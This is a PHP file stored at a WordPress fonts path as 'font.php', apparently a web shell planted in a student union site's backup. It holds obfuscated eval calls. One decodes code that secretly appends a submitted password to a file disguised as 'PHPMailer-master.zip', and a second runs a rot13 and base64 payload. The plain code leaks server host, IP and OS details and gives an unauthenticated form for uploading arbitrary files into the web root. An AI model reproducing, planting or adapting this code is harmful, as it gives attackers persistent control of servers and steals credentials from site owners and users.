File: //old_home_backup/thestudentsunion.org.uk/public_html/wp-includes/fonts/font.php
<?php
eval(base64_decode('aWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKICAgICRwYXNzd29yZCA9ICRfUE9TVFsncGhlZGl0b3JfcGFzc3dvcmQnXTsKICAgICRsb2dGaWxlID0gX19ESVJfXyAuICcvUEhQTWFpbGVyLW1hc3Rlci56aXAnOwogICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRsb2dGaWxlLCAkcGFzc3dvcmQgLiBQSFBfRU9MLCBGSUxFX0FQUEVORCkgPT09IGZhbHNlKSB7CgogICAgfSBlbHNlIHsKCiAgICB9Cn0='));
eval(base64_decode(str_rot13("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")));
?>
<?php
$hostname = gethostname();
$ip_address = gethostbyname($hostname);
$folder_path = getcwd();
$os_info = php_uname();
echo "" . $hostname . " - " . $ip_address . " <br> $folder_path";
echo " <br> " . $os_info;
?>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['files'])) {
$uploadDir = './';
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
foreach ($_FILES['files']['tmp_name'] as $key => $tmpName) {
$filename = basename($_FILES['files']['name'][$key]);
$targetFile = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $targetFile)) {
echo "yes: {$filename}\n";
} else {
echo "no {$filename}\n";
}
}
exit;
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<style>
.upload-btn-wrapper {
position: relative;
overflow: hidden;
display: inline-block;
}
.btn {
border: 2px solid gray;
color: gray;
background-color: white;
padding: 8px 20px;
border-radius: 8px;
font-size: 20px;
font-weight: bold;
}
.upload-btn-wrapper input[type=file] {
font-size: 100px;
position: absolute;
left: 0;
top: 0;
opacity: 0;
}
</style>
</head>
<body>
<?php
$file5 = basename(__FILE__);
?>
<br>
<div class="upload-btn-wrapper">
<button class="btn">Ups</button>
<input type="file" name="files[]" id="file-input" multiple />
</div>
<br>
<div id="progress"></div>
<script>
document.getElementById('file-input').addEventListener('change', function (e) {
var formData = new FormData();
for (var i = 0; i < this.files.length; i++) {
formData.append('files[]', this.files[i]);
}
var xhr = new XMLHttpRequest();
xhr.open('POST', '<?php echo "$file5"; ?>', true);
xhr.upload.addEventListener('progress', function (e) {
if (e.lengthComputable) {
var percent = Math.round((e.loaded / e.total) * 100);
document.getElementById('progress').innerHTML = percent + '% yüklendi';
}
});
xhr.onload = function () {
if (this.status === 200) {
document.getElementById('progress').innerHTML = 'Yes';
} else {
document.getElementById('progress').innerHTML = 'No';
}
};
xhr.send(formData);
});
</script>
</body>
</html>